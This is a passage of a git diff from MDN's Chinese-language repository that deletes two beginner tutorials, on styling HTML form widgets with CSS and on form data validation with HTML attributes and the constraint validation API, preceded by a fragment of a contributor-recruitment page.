太棒了!我们太需要您的专业技能了,这确保我们向初学者提供的内容技术准确。考虑到这部分内容用于供他人学习,我们希望您提供的解释尽可能表述简单,但又不至于无用。我们首先考虑易于理解,而非过度精确。

- -
-
阅读并复核词汇条目5 分钟
-
我们希望作为 Web 开发者的您,能让我们的文章内容技术准确而又不至于太学究气息。您可以做任何认为有必要的修改。如果您想在编辑前讨论内容,可以通过邮件列表IRC 频道联系我们。
-
撰写词汇条目20 分钟
-
阐述技术词汇是一种很好的学习方法,它能帮助您用准确而简单的方式把握技术细节。初学者非常需要准确清晰的术语定义。我们有许多缺乏定义的术语需要您来完善,请放手去做吧!
-
阅读并复核学习文章 (2 小时)
-
这与上述“复核词汇条目”一样,只是由于文章更长,因此要花更多时间。
-
撰写学习文章 (4 小时或者更多)
-
MDN 缺少朴素直白的文章以介绍如何使用 Web 技术(HTMLCSSJavaScript 等等)。我们还有很多陈旧的文档内容,需要复核或重构。发挥您的聪明才智,造福 Web 技术初学者吧!
-
创建练习、代码样例或交互式学习工具 (? 小时)
-
亲自实践的学习效果更佳,因此我们希望所有的学习文章都包含“主动学习 (active learning)”材料,比如练习、或者交互式内容。这些材料能够帮助用户熟练运用文章中详述的概念。制作“主动学习”材料的方式很多,比如使用 JSFiddle 或类似工具创建代码样例,或者使用 Thimble 构建可解析的交互式内容。总而言之,释放您的创造力吧!
-
- -

我是教师

- -

MDN 长期以来都拥有卓越的技术,但对于传授知识的最佳方法,我们仍然缺乏深刻的见解。我们需要教育工作者的参与,从而确保我们的材料为读者提供良好而实用的教育方法。

- -
-
阅读并复核词汇条目 (15 分钟)
-
检查词汇条目,并对任何您认为有必要的地方进行修改。如果您想在编辑前讨论内容,可以通过可以通过邮件列表IRC 频道联系我们。
-
撰写词汇条目 (1 小时)
-
为了满足初学者的需求,在词汇表中对术语进行清晰简明的定义、对概念进行基本总体的描述至关重要。您的教育经验对于创建优秀的词汇条目大有裨益;我们有许多缺乏定义的术语需要您来完善,请放手去做吧!
-
向文章中添加插图或图表 (1 小时)
-
您一定了解图表在学习材料中的价值。我们的文章内容总是缺乏图表,而您正好可以大展身手。您可以从缺少图表内容的文章中选择一些,为其创建插图。
-
阅读并复核学习文章 (2 小时)
-
这与上述“复核词汇条目”类似,只是由于文章更长,因此要花更多时间。
-
撰写学习文章 (4 小时)
-
我们需要朴素直白的文章,介绍 Web 生态体系以及其他相关的功能主题。这些文章的目标是教育性,而非领域百科。文章应当涉及什么、如何表述,您在这方面的丰富经验大有帮助。
-
创建练习、测验或者交互式学习工具 (? 小时)
-
我们希望所有的学习文章都包含“主动学习 (active learning)”材料,比如练习、或者交互式内容。这些材料能够帮助用户学习并拓展理解文章中详述的概念。您可以做很多事情——创建测验、用 Thimble 构建可解析的交互式内容——总之,释放您的创造力吧!
-
创建学习路线 (? 小时)
-
为了提供循序渐进、易于理解的教程,我们需要把学习材料组织成体系化的路线。这个过程将收集已有的材料,并找出缺失的内容,然后用新文章填补空缺。
-
diff --git a/files/zh-cn/learn/html/forms/advanced_styling_for_html_forms/index.html b/files/zh-cn/learn/html/forms/advanced_styling_for_html_forms/index.html deleted file mode 100644 index 94128b7229..0000000000 --- a/files/zh-cn/learn/html/forms/advanced_styling_for_html_forms/index.html +++ /dev/null @@ -1,467 +0,0 @@ ---- -title: 高级设计 HTML 表单 -slug: Learn/HTML/Forms/Advanced_styling_for_HTML_forms -translation_of: Learn/Forms/Advanced_form_styling ---- -
{{LearnSidebar}}{{PreviousMenuNext("Learn/HTML/Forms/Styling_HTML_forms", "Learn/HTML/Forms/Property_compatibility_table_for_form_widgets", "Learn/HTML/Forms")}}
- -

在本文中,我们将看到HTML表单怎样使用CSS装饰难以定制的表单小部件。如前面章节所示,文本域和按钮完全可以使用CSS,现在我们将深入探索HTML表单样式。

- -

在继续之前,让我们回忆一下两种表单小部件:

- -
-
bad
-
这个元素很难设计,需要一些复杂的技巧,有时还涉及到高级的CSS3的知识。
-
ugly
-
忘记使用CSS来设计这些元素吧。你最多能做一点点事情,还不能保证可以跨浏览器,而且在它们出现时永远不能做到完全的受控。
-
- -

CSS表现力

- -

除了文本框和按钮之外,使用其他表单小部件的主要问题是在许多情况下,CSS的表现不能满足设计复杂的小部件的要求。

- -

HTML和CSS最新的发展扩展了CSS的表现力:

- - - -

所有这一切是一个好的开端,但是有两个问题。首先,一些浏览器不需要实现CSS 2.1之上的特性。其次在设计像日期选择器这样的复杂的小部件时,这些实在不够好。

- -

浏览器厂家在CSS表现力在表单方面的扩展做了一些尝试,在某些情况下,知道什么可用也挺不错的。

- -
-

警告: 尽管 这些尝试很有趣,但它们是非标准的,也就是不可靠的。. 如果你使用它们(也许你并不常用),你要自己承担风险,使用非标准的属性对于Web并不是好事

-
- - - -

控制表单元素的外观

- -

基于WebKit(Chrome, Safari)和 Gecko(Firefox)的浏览器提供更高级的HTML部件定制。它们也实现了跨平台,因此需要一种方式把原生小部件转换为用户可设置样式的小部件。

- -

为此,它们使用了专有属性:{{cssxref("-webkit-appearance")}}或{{cssxref("-moz-appearance")}}。这些属性是非标准的,不应该使用。事实上,它们在WebKit 和Gecko中的表现也是不相同的。然而,有一个值很好用:none,用这个值,你(几乎完全)能控制一个已知小部件的样式。

- -

因此,如果你在应用一个元素的样式时遇到麻烦,可以尝试使用那些专有属性。我们下面有一些例子,这个属性最成功的例子是WebKit浏览器中的搜索域的样式:

- -
<form>
-    <input type="search">
-</form>
- -
<style>
-input[type=search] {
-    border: 1px dotted #999;
-    border-radius: 0;
-
-    -webkit-appearance: none;
-}
-</style>
- -

{{EmbedLiveSample("Controlling_the_appearance_of_form_elements", 250, 40)}}

- -
-

注意:当我们谈及Web技术的时总是很难预测未来。扩展CSS表现力是很困难的,其他规范也做了一些探索性的工作,如Shadow DOM提供了一些观点。可完全设置样式的表单的问题还远未结束。

-
- -

举例

- -

复选框和单选按钮

- -

独自设计复选框或单选按钮的样式是让人抓狂的。例如由于浏览器反应各不相同,在修改复选框和单选按钮的大小时,并不保证确实能改变它们。

- -

一个简单的测试用例

- -

让我们研究一下下面的测试用例:

- -
<span><input type="checkbox"></span>
- -
span {
-    display: inline-block;
-    background: red;
-}
-
-input[type=checkbox] {
-    width : 100px;
-    height: 100px;
-}
- -

这里是不同的浏览器的处理方式:

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
浏览器视图
Firefox 57 (Mac OSX)
Firefox 57 (Windows 10)
Chrome 63 (Mac OSX)
Chrome 63 (Windows 10)
Opera 49 (Mac OSX)
Internet Explorer 11 (Windows 10)
Edge 16 (Windows 10)
- -

更复杂的例子

- -

由于Opera和Internet Explorer没有像{{cssxref("-webkit-appearance")}}或{{cssxref("-moz-appearance")}}这样的特性,使用它们是不合适的。幸运的是,CSS有足够多的表现方式可以找到解决方法。让我们做一个很普通的例子:

- -
<form>
-  <fieldset>
-    <p>
-      <input type="checkbox" id="first" name="fruit-1" value="cherry">
-      <label for="first">I like cherry</label>
-    </p>
-    <p>
-      <input type="checkbox" id="second" name="fruit-2" value="banana" disabled>
-      <label for="second">I can't like banana</label>
-    </p>
-    <p>
-      <input type="checkbox" id="third" name="fruit-3" value="strawberry">
-      <label for="third">I like strawberry</label>
-    </p>
-  </fieldset>
-</form>
- -

带有一些基本的样式:

- -
body {
-  font: 1em sans-serif;
-}
-
-form {
-  display: inline-block;
-
-  padding: 0;
-  margin : 0;
-}
-
-fieldset {
-  border : 1px solid #CCC;
-  border-radius: 5px;
-  margin : 0;
-  padding: 1em;
-}
-
-label {
-  cursor : pointer;
-}
-
-p {
-  margin : 0;
-}
-
-p+p {
-  margin : .5em 0 0;
-}
- -
-

注:下面的内容(仅限样式化 checkbox 部分)与英文版出入极大,猜测已经是过时内容

-
- -

现在,让我们设计一个定制复选框的样式

- -

计划用自己的图像替换原生的复选框,首先需要准备复选框在所有状态下的图像,那些状态是:未选、已选、禁用不选、禁用已选。该图像将用作CSS精灵:

- -

Check box CSS Sprite

- -

一开始要隐藏初始复选框。可以简单的把它们从页面视图中拿开。这里要考虑两个重要的事情:

- - - -
:root input[type=checkbox] {
-  /* original check box are push outside the viexport */
-  position: absolute;
-  left: -1000em;
-}
- -

现在加上自己的图像就可以摆脱原来的复选框了,为此,要在初始的复选框后面加上{{HTMLElement("label")}}元素,并使用它的{{cssxref(":before")}}伪元素。因此在下面章节中,要使用selector属性来选择复选框,然后使用adjacent sibling selector来选择原有复选框后面的label。最后,访问{{cssxref(":before")}}伪元素来设计复选框显示定制样式。

- -
:root input[type=checkbox] + label:before {
-  content: "";
-  display: inline-block;
-  width  : 16px;
-  height : 16px;
-  margin : 0 .5em 0 0;
-  background: url("https://developer.mozilla.org/files/4173/checkbox-sprite.png") no-repeat 0 0;
-
-/* The following is used to adjust the position of
-   the check boxes on the text baseline */
-
-  vertical-align: bottom;
-  position: relative;
-  bottom: 2px;
-}
- -

在初始复选框上使用{{cssxref(":checked")}}和{{cssxref(":disabled")}}伪类来改变定制复选框的状态。因为使用了CSS精灵,我们需要做的只是修改背景的位置。

- -
:root input[type=checkbox]:checked + label:before {
-  background-position: 0 -16px;
-}
-
-:root input[type=checkbox]:disabled + label:before {
-  background-position: 0 -32px;
-}
-
-:root input[type=checkbox]:checked:disabled + label:before {
-  background-position: 0 -48px;
-}
- -

最后一件(但是很重要的)事情:当用户使用键盘从一个表单小部件导航到另一个表单小部件时,每个小部件都应该被显式聚焦。因为我们隐藏了初始的复选框,我们必须自己实现这个特性,让用户知道定制复选框在表单中的位置,下列的CSS实现了它们聚焦。

- -
:root input[type=checkbox]:focus + label:before {
-  outline: 1px dotted black;
-}
- -

你可以在线查看结果:

- -

{{EmbedLiveSample("A_more_complex_example", 250, 130)}}

- -

Dealing with the select nightmare

- -

{{HTMLElement("select")}} 元素被认为是一个 "丑陋的" 组件,因为不可能保证它在跨平台时样式化的一致性。然而,有些事情是可能的。废话少说,让我们来看一个例子:

- -
<select>
-  <option>Cherry</option>
-  <option>Banana</option>
-  <option>Strawberry</option>
-</select>
- -
select {
-  width   : 80px;
-  padding : 10px;
-}
-
-option {
-  padding : 5px;
-  color   : red;
-}
- -

下面的表格显示了在两种情况下不同浏览器的处理方式。头两列就是上面的例子。后面两列使用了其他的定制CSS,可以对小部件的外观进行更多的控制:

- -
select, option {
-  -webkit-appearance : none; /* To gain control over the appearance on WebKit/Chromium */
-  -moz-appearance : none; /* To gain control over the appearance on Gecko */
-
-  /* To gain control over the appearance on and Trident (IE)
-     Note that it also works on Gecko and has partial effects on WebKit */
-  background : none;
-}
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
BrowserRegular renderingTweaked rendering
closedopenclosedopen
Firefox 57 (Mac OSX)
Firefox 57 (Windows 10)
Chrome 63 (Mac OSX)
Chrome 63 (Windows 10)
Opera 49 (Mac OSX)
IE11 (Windows 10)
Edge 16 (Windows 10)
- -

如你所见,计时使用了-*-appearance属性的帮助,任然有一些遗留的问题:

- - - -

在我们的例子中,只使用了三个CSS属性,在考虑使用更多CSS属性时,可以想象是很混乱的。正如我们看到的,CSS始终不适合用来修改这些小部件的外观,但是仍然可以用来稍微做一些事情。如果愿意的话,可以演示一下在不同操作系统和浏览器之间的区别。

- -

我们也可以帮助了解在下一章节中哪个属性更合适:Properties compatibility table for form widgets

- -

走向更完美表单之路:有用的库和polyfills(腻子)

- -

虽然对于复选框和单选按钮而言,CSS的表示方式足够丰富,但是对更高级的小部件来说差距仍然很大。即使可以用{{HTMLElement("select")}}元素作一些事情,但是对file小部件的样式完全没用。对于日期选择器也同样如此。

- -

要实现对表单小部件的完全控制,你别无选择,只能选择依靠JavaScript。在文章How to build custom form widgets中,我们将看到具体的做法,其中还有一些非常有用的库:

- - - -

下面的库不止应用于表单,他们在处理HTML表单时是非常有趣的:

- - - -

记住,使用CSS和JavaScript是有副作用的。所以在选择使用那些库时,应该在脚本失败的情况下能回滚样式表。脚本失败的原因很多,尤其在手机应用中,因此你需要尽可能好的设计你的Web站点或应用。

- -

相关链接

- -

虽然HTML表单使用CSS仍有一些黑洞,但通常也有方法绕过它们。即使没有清楚的,通用的解决方案,但新式的浏览器也提供了新的可能性。目前最好的方法是更多的学习不同浏览器支持CSS的方式,并应用于HTML表单小部件。

- -

在本指南的下一章节中,我们将探讨不同的HTML表单小部件怎样很好的支持更重要的CSS属性:Properties compatibility table for form widgets.

- -

相关链接

- - - -

{{PreviousMenuNext("Learn/HTML/Forms/Styling_HTML_forms", "Learn/HTML/Forms/Property_compatibility_table_for_form_widgets", "Learn/HTML/Forms")}}

- -

在本单元中

- - - -

- -

diff --git a/files/zh-cn/learn/html/forms/data_form_validation/index.html b/files/zh-cn/learn/html/forms/data_form_validation/index.html deleted file mode 100644 index 62758a26e6..0000000000 --- a/files/zh-cn/learn/html/forms/data_form_validation/index.html +++ /dev/null @@ -1,874 +0,0 @@ ---- -title: 表单数据校验 -slug: Learn/HTML/Forms/Data_form_validation -tags: - - HTML -translation_of: Learn/Forms/Form_validation ---- -

{{LearnSidebar}}{{PreviousMenuNext("Learn/HTML/Forms/Sending_and_retrieving_form_data", "Learn/HTML/Forms/How_to_build_custom_form_widgets", "Learn/HTML/Forms")}}

- -

表单校验帮助我们确保用户以正确格式填写表单数据,确保提交的数据能使我们的应用程序正常工作。本文将告诉您需要了解的有关表单校验的内容。

- - - - - - - - - - - - -
预备知识:计算机基础能力,对 HTMLCSS 和 JavaScript 有一定的理解。
目标:理解表单校验是什么,为什么它很重要,以及如何实现它。
- -

什么是表单数据校验?

- -

访问任何一个带注册表单的网站,你都会发现,当你提交了没有输入符合预期格式的信息的表单时,注册页面都会给你一个反馈,这些信息可能看起来像下面这样的:

- - - -

这就是表单校验 —— 当你向 Web 应用输入数据时,应用会验证你输入的数据是否是正确的。如果验证通过,应用允许提交这些数据到服务器并储存到数据库中(通常情况下),如果验证未通过,则 Web 应用会提示你有错误的数据,并且一般都会明确的告诉你错误发生在哪里。表单校验可以通过许多不同的方式实现。

- -
-

译者注:下面一段在英文原文中已经删除

-
- -

(事实上,没有人愿意填写表单 —— 很多证据表明,用户对填写表单这件事情都感到很烦恼,如果他们在填写表单的过程中遇到一些自己无法理解的问题,通常都会导致他们直接离开你的 Web 应用,简而言之,表单是一个很烦人的东西。)

- -

我们希望把填写表单变的越简单越好。那么,为什么我们还坚持进行表单的数据校验呢?这有三个最主要的原因:

- - - -
-

警告: 永远不要相信从客户端传递到服务器的数据。 即使您的表单正确验证并防止输入格式错误,恶意用户仍然可以更改网络请求。

-
- -

不同类型的表单数据校验

- -

在 Web 中,你可能会遇见各种不同的表单校验:

- - - -

在真实的项目开发过程中,开发者一般都倾向于使用客户端校验与服务器端校验的组合校验方式以更好的保证数据的正确性与安全性。

- -

使用内置表单数据校验

- -

HTML5 一个特别有用的新功能就是,可以在不写一行脚本代码的情况下,即对用户的输入进行数据校验,这都是通过表单元素的校验属性实现的,这些属性可以让你定义一些规则,用于限定用户的输入,比如某个输入框是否必须输入,或者某个输入框的字符串的最小最大长度限制,或者某个输入框必须输入一个数字、邮箱地址等;还有数据必须匹配的模式。如果表单中输入的数据都符合这些限定规则,那么表示这个表单校验通过,否则则认为校验未通过。

- -

当一个元素校验通过时:

- - - -

如果一个元素未校验通过:

- - - -

input 元素的校验约束 — starting simple

- -

在这一节,我们将会看到一些用于{{HTMLElement("input")}}元素校验的HTML5的特性。

- -

让我们用一个简单的例子开始 — 一个可以让你从香蕉或樱桃中选择你最喜欢的水果的input。 这个包含了一个简单的文本{{HTMLElement("input")}} 和一个与之匹配的label,还有一个 submit {{htmlelement("button")}}。你可以在GitHub fruit-start.html找到源码,在线例子如下:

- - - -

{{EmbedLiveSample("Hidden_code", "100%", 50)}}

- -

开始之前,先拷贝一份 fruit-start.html 放在你硬盘上的新目录里。

- -

required 属性

- -

最简单的HTML5校验功能是 {{htmlattrxref("required", "input")}}属性 — 如果要使输入成为必需的,则可以使用此属性标记元素。 当设置此属性时,如果输入为空,该表单将不会提交(并将显示错误消息),输入也将被视为无效。

- -

添加一个 required 属性到你的 input 元素, 如下所示:

- -
<form>
-  <label for="choose">Would you prefer a banana or cherry?</label>
-  <input id="choose" name="i_like" required>
-  <button>Submit</button>
-</form>
- -

同时注意在示例文件中包含的 CSS :

- -
input:invalid {
-  border: 2px dashed red;
-}
-
-input:valid {
-  border: 2px solid black;
-}
- -

以上样式效果为:在校验失败时 输入框会有一个亮红色的虚线边框, 在校验通过时会有一个更微妙的黑色边框。在以下示例中尝试新的行为:

- -

{{EmbedLiveSample("required_属性", "100%", 50)}}

- -

使用正则表达式校验

- -

另一个常用的校验功能是 {{htmlattrxref("pattern","input")}} 属性, 以 Regular Expression 作为 value 值. 正则表达式 (regex) 是一个可以用来匹配文本字符串中字符的组合的模式,所以它们是理想的表单校验器,也可以支持 JavaScript 中许多其它的用途。

- -

正则表达式相当复杂,我们不打算在本文中详尽地教你。

- -

下面是一些例子,让你对它们的工作原理有个基本的了解:

- - - -

你也可以在这些表达式中使用数字和其他字符, 例如:

- - - -

你可以任意地组合这些,你可以任意指定不同的部分:

- - - -

不管怎么说, 让我们来实现这些例子 — 更新你的html文档表单增加一个 pattern 属性, 如下:

- -
<form>
-  <label for="choose">Would you prefer a banana or a cherry?</label>
-  <input id="choose" name="i_like" required pattern="banana|cherry">
-  <button>Submit</button>
-</form>
- - - -

{{EmbedLiveSample("使用正则表达式校验", "100%", 50)}}

- -

这个例子中, 该 {{HTMLElement("input")}} 元素接受两个值中的一个: 字符串 "banana" 或者字符串"cherry".

- -

在这个基础上, 尝试把pattern 属性内部的表达式改变成上面的几个例子, 然后看看这些表达式如何影响您可以输入的值以使输入值有效. 尝试写一些你自己设计的,看看它如何工作。尽量让他们与水果有关这样你的例子才会有意义.

- -
-

注意: 一些 {{HTMLElement("input")}} 元素类型不需要{{htmlattrxref("pattern","input")}} 属性进行校验. 指定特定 email 类型 就会使用匹配电子邮件格式的正则表达式来校验(如果有 {{htmlattrxref("multiple","input")}} 属性请用逗号来分割多个邮箱). 进一步来说, 字段 url 类型则会自动校验输入的是否为一个合法的链接.

-
- -
-

注意: 该 {{HTMLElement("textarea")}} 元素不支持{{htmlattrxref("pattern","input")}} 属性.

-
- -

限制输入的长度

- -

所有文本框 ({{HTMLElement("input")}} 或 {{HTMLElement("textarea")}}) 都可以使用{{htmlattrxref("minlength","input")}} 和 {{htmlattrxref("maxlength","input")}} 属性来限制长度. 如果输入的字段长度小于 {{htmlattrxref("minlength","input")}} 的值或大于 {{htmlattrxref("maxlength","input")}} 值则无效. 浏览器通常不会让用户在文本字段中键入比预期更长的值,不过更精细的设置总归是更好的。

- -

在数字条目中 (i.e. <input type="number">), 该 {{htmlattrxref("min","input")}} 和 {{htmlattrxref("max","input")}} 属性同样提供校验约束.如果字段的值小于{{htmlattrxref("min","input")}} 属性的值或大于 {{htmlattrxref("max","input")}} 属性的值,该字段则无效.

- -

让我来看看另外一个例子. 创建一个 fruit-start.html 文件副本.

- -

现在删除 <body> 元素中的内容, 替换成下面的代码:

- -
<form>
-  <div>
-    <label for="choose">Would you prefer a banana or a cherry?</label>
-    <input id="choose" name="i_like" required minlength="6" maxlength="6">
-  </div>
-  <div>
-    <label for="number">How many would you like?</label>
-    <input type="number" id="number" name="amount" value="1" min="1" max="10">
-  </div>
-  <div>
-    <button>Submit</button>
-  </div>
-</form>
- - - - - -

这里是运行的例子:

- -

{{EmbedLiveSample("限制输入的长度", "100%", 70)}}

- -
-

注意: <input type="number"> (或者其他类型, 像 range) 也可以获取到一个{{htmlattrxref("step", "input")}} 属性, 指定了值在增减过程固定改变的值 (如向上增加和向下减少的按钮).

-
- -

完整的例子

- -

这里就是一个完整的展示 HTML 中使用校验属性的例子:

- -
<form>
-  <p>
-    <fieldset>
-      <legend>Title<abbr title="This field is mandatory">*</abbr></legend>
-      <input type="radio" required name="title" id="r1" value="Mr"><label for="r1">Mr.</label>
-      <input type="radio" required name="title" id="r2" value="Ms"><label for="r2">Ms.</label>
-    </fieldset>
-  </p>
-  <p>
-    <label for="n1">How old are you?</label>
-    <!-- 这里的pattern属性可以用作不支持number类input浏览器的备用方法
-         请注意当与数字输入框一起使用时,支持pattern属性的浏览器会使它沉默失效。
-         它仅仅是在这里用作备用 -->
-    <input type="number" min="12" max="120" step="1" id="n1" name="age"
-           pattern="\d+">
-  </p>
-  <p>
-    <label for="t1">What's your favorite fruit?<abbr title="This field is mandatory">*</abbr></label>
-    <input type="text" id="t1" name="fruit" list="l1" required
-           pattern="[Bb]anana|[Cc]herry|[Aa]pple|[Ss]trawberry|[Ll]emon|[Oo]range">
-    <datalist id="l1">
-      <option>Banana</option>
-      <option>Cherry</option>
-      <option>Apple</option>
-      <option>Strawberry</option>
-      <option>Lemon</option>
-      <option>Orange</option>
-    </datalist>
-  </p>
-  <p>
-    <label for="t2">What's your e-mail?</label>
-    <input type="email" id="t2" name="email">
-  </p>
-  <p>
-    <label for="t3">Leave a short message</label>
-    <textarea id="t3" name="msg" maxlength="140" rows="5"></textarea>
-  </p>
-  <p>
-    <button>Submit</button>
-  </p>
-</form>
- -
body {
-  font: 1em sans-serif;
-  padding: 0;
-  margin : 0;
-}
-
-form {
-  max-width: 200px;
-  margin: 0;
-  padding: 0 5px;
-}
-
-p > label {
-  display: block;
-}
-
-input[type=text],
-input[type=email],
-input[type=number],
-textarea,
-fieldset {
-/* 需要在基于WebKit的浏览器上对表单元素进行恰当的样式设置 */
-  -webkit-appearance: none;
-
-  width : 100%;
-  border: 1px solid #333;
-  margin: 0;
-
-  font-family: inherit;
-  font-size: 90%;
-
-  -moz-box-sizing: border-box;
-  box-sizing: border-box;
-}
-
-input:invalid {
-  box-shadow: 0 0 5px 1px red;
-}
-
-input:focus:invalid {
-  outline: none;
-}
- -

{{EmbedLiveSample("完整的例子", "100%", 420)}}

- -

自定义错误信息

- -

正如我们上面所看到的例子, 每次我们提交无效的表单数据时, 浏览器总会显示错误信息. 但是显示的信息取决于你所使用的浏览器.

- -

这些自动生成的错误有两个缺点:

- - - - - - - - - - - - - - - - - - - - - - - - - -
在英文页面上的法语反馈信息版本
浏览器渲染
Firefox 17 (Windows 7)Example of an error message with Firefox in French on an English page
Chrome 22 (Windows 7)Example of an error message with Chrome in French on an English page
Opera 12.10 (Mac OSX)Example of an error message with Opera in French on an English page
- -

要自定义这些消息的外观和文本, 你必须使用 JavaScript; 不能使用 HTML 和 CSS 来改变.

- -

HTML5 提供 constraint validation API 来检测和自定义表单元素的状态. 除此之外,他可以改变错误信息的文本. 让我们快速的看一个例子:

- -
<form>
-  <label for="mail">I would like you to provide me an e-mail</label>
-  <input type="email" id="mail" name="mail">
-  <button>Submit</button>
-</form>
- -

在JavaScript 中, 你调用 setCustomValidity() 方法:

- -
var email = document.getElementById("mail");
-
-email.addEventListener("input", function (event) {
-  if (email.validity.typeMismatch) {
-    email.setCustomValidity("I expect an e-mail, darling!");
-  } else {
-    email.setCustomValidity("");
-  }
-});
- -

{{EmbedLiveSample("自定义错误信息", "100%", 50)}}

- -

 使用 JavaScript校验表单

- -

如果你想控制原生错误信息的界面外观,或者你想处理不支持HTML内置表单校验的浏览器,则必须使用 Javascript。

- -

约束校验的 API

- -

越来越多的浏览器支持限制校验API,并且这逐渐变得可靠。这些 API 由成组的方法和属性构成,可在特定的表单元素接口上调用:

- - - -

约束校验的 API 及属性

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
属性描述
validationMessage一个本地化消息,描述元素不满足校验条件时(如果有的话)的文本信息。如果元素无需校验(willValidate 为 false),或元素的值满足校验条件时,为空字符串。
validity一个 {{domxref("ValidityState")}} 对象,描述元素的验证状态。详见有关可能的验证状态的文章。
validity.customError如果元素设置了自定义错误,返回 true ;否则返回false
validity.patternMismatch如果元素的值不匹配所设置的正则表达式,返回 true,否则返回 false
-
- 当此属性为 true 时,元素将命中  {{cssxref(":invalid")}} CSS 伪类。
validity.rangeOverflow如果元素的值高于所设置的最大值,返回 true,否则返回 false
-
- 当此属性为 true 时,元素将命中  {{cssxref(":invalid")}} CSS 伪类。
validity.rangeUnderflow如果元素的值低于所设置的最小值,返回 true,否则返回 false
-
- 当此属性为 true 时,元素将命中  {{cssxref(":invalid")}} CSS 伪类。
validity.stepMismatch如果元素的值不符合 step 属性的规则,返回 true,否则返回 false
-
- 当此属性为 true 时,元素将命中  {{cssxref(":invalid")}} CSS 伪类。
validity.tooLong如果元素的值超过所设置的最大长度,返回 true,否则返回 false
-
- 当此属性为 true 时,元素将命中  {{cssxref(":invalid")}} CSS 伪类。
validity.typeMismatch如果元素的值出现语法错误,返回 true,否则返回 false
-
- 当此属性为 true 时,元素将命中  {{cssxref(":invalid")}} CSS 伪类。
validity.valid如果元素的值不存在校验问题,返回 true,否则返回 false
-
- 当此属性为 true 时,元素将命中  {{cssxref(":valid")}} CSS 伪类,否则命中 {{cssxref(":invalid")}} CSS 伪类。
validity.valueMissing如果元素设置了 required 属性且值为空,返回 true,否则返回 false
-
- 当此属性为 true 时,元素将命中  {{cssxref(":invalid")}} CSS 伪类。
willValidate如果元素在表单提交时将被校验,返回 true,否则返回 false
- -

约束校验 API 的方法

- - - - - - - - - - - - - - - - - - - - - - -
方法描述
checkValidity()如果元素的值不存在校验问题,返回 true,否则返回 false。如果元素校验失败,此方法会触发{{event("invalid")}} 事件。
{{domxref("HTMLFormElement.reportValidity()")}}如果元素或它的子元素控件符合校验的限制,返回 true . 当返回为 false 时, 对每个无效元素可撤销 {{event("invalid")}} 事件会被唤起并且校验错误会报告给用户 。
-

setCustomValidity(message)

-
为元素添加一个自定义的错误消息;如果设置了自定义错误消息,该元素被认为是无效的,则显示指定的错误。这允许你使用 JavaScript 代码来建立校验失败,而不是用标准约束校验 API 所提供的。这些自定义信息将在向用户报告错误时显示。
-
- 如果参数为空,则清空自定义错误。
- -

对于旧版浏览器,可以使用 polyfill(例如 Hyperform),来弥补其对约束校验 API 支持的不足。既然你已经使用 JavaScript,在您的网站或 Web 应用程序的设计和实现中使用 polyfill 并不是累赘。

- -

使用约束校验 API 的例子

- -

让我们看看如何使用这个 API 来构建自定义错误消息。首先,HTML:

- -
<form novalidate>
-  <p>
-    <label for="mail">
-      <span>Please enter an email address:</span>
-      <input type="email" id="mail" name="mail">
-      <span class="error" aria-live="polite"></span>
-    </label>
-  </p>
-  <button>Submit</button>
-</form>
- -

这个简单的表单使用 {{htmlattrxref("novalidate","form")}} 属性关闭浏览器的自动校验;这允许我们使用脚本控制表单校验。但是,这并不禁止对约束校验 API的支持或是以下 CSS 伪类:{{cssxref(":valid")}}、{{cssxref(":invalid")}}、{{cssxref(":in-range")}} 、{{cssxref(":out-of-range")}} 的应用。这意味着,即使浏览器在发送数据之前没有自动检查表单的有效性,您仍然可以自己做,并相应地设置表单的样式。

- -

aria-live 属性确保我们的自定义错误信息将呈现给所有人,包括使用屏幕阅读器等辅助技术的人。

- -
CSS
- -

以下 CSS 样式使我们的表单和其错误输出看起来更有吸引力。

- -
/* 仅为了使示例更好看 */
-body {
-  font: 1em sans-serif;
-  padding: 0;
-  margin : 0;
-}
-
-form {
-  max-width: 200px;
-}
-
-p * {
-  display: block;
-}
-
-input[type=email]{
-  -webkit-appearance: none;
-
-  width: 100%;
-  border: 1px solid #333;
-  margin: 0;
-
-  font-family: inherit;
-  font-size: 90%;
-
-  -moz-box-sizing: border-box;
-  box-sizing: border-box;
-}
-
-/* 校验失败的元素样式 */
-input:invalid{
-  border-color: #900;
-  background-color: #FDD;
-}
-
-input:focus:invalid {
-  outline: none;
-}
-
-/* 错误消息的样式 */
-.error {
-  width  : 100%;
-  padding: 0;
-
-  font-size: 80%;
-  color: white;
-  background-color: #900;
-  border-radius: 0 0 5px 5px;
-
-  -moz-box-sizing: border-box;
-  box-sizing: border-box;
-}
-
-.error.active {
-  padding: 0.3em;
-}
- -
JavaScript
- -

以下 JavaScript 代码演示如何设置自定义错误校验。

- -
// 有许多方式可以获取 DOM 节点;在此我们获取表单本身和
-// email 输入框,以及我们将放置错误信息的 span 元素。
-
-var form  = document.getElementsByTagName('form')[0];
-var email = document.getElementById('mail');
-var error = document.querySelector('.error');
-
-email.addEventListener("input", function (event) {
-  // 当用户输入信息时,校验 email 字段
-  if (email.validity.valid) {
-    // 如果校验通过,清除已显示的错误消息
-    error.innerHTML = ""; // 重置消息的内容
-    error.className = "error"; // 重置消息的显示状态
-  }
-}, false);
-form.addEventListener("submit", function (event) {
-  // 当用户提交表单时,校验 email 字段
-  if (!email.validity.valid) {
-
-    // 如果校验失败,显示一个自定义错误
-    error.innerHTML = "I expect an e-mail, darling!";
-    error.className = "error active";
-    // 还需要阻止表单提交事件,以取消数据传送
-    event.preventDefault();
-  }
-}, false);
- -

这是运行结果:

- -

{{EmbedLiveSample("使用校验约束_API_的例子", "100%", 130)}}

- -

约束校验 API 为您提供了一个强大的工具来处理表单校验,让您可以对用户界面进行远超过仅仅使用 HTML 和 CSS所能得到的控制。

- -

不使用内建 API 时的表单校验

- -

有时,例如使用旧版浏览器或自定义小部件,您将无法(或不希望)使用约束校验API。 在这种情况下,您仍然可以使用 JavaScript 来校验您的表单。 校验表单比起真实数据校验更像是一个用户界面问题。

- -

要校验表单,您必须问自己几个问题:

- -
-
我应该进行什么样的校验?
-
你需要确定如何校验你的数据:字符串操作,类型转换,正则表达式等。这取决于你。 只要记住,表单数据一般都是文本,并总是以字符串形式提供给脚本。
-
如果表单校验失败,我该怎么办?
-
这显然是一个 UI 问题。 您必须决定表单的行为方式:表单是否发送数据? 是否突出显示错误的字段?是否显示错误消息?
-
如何帮助用户纠正无效数据?
-
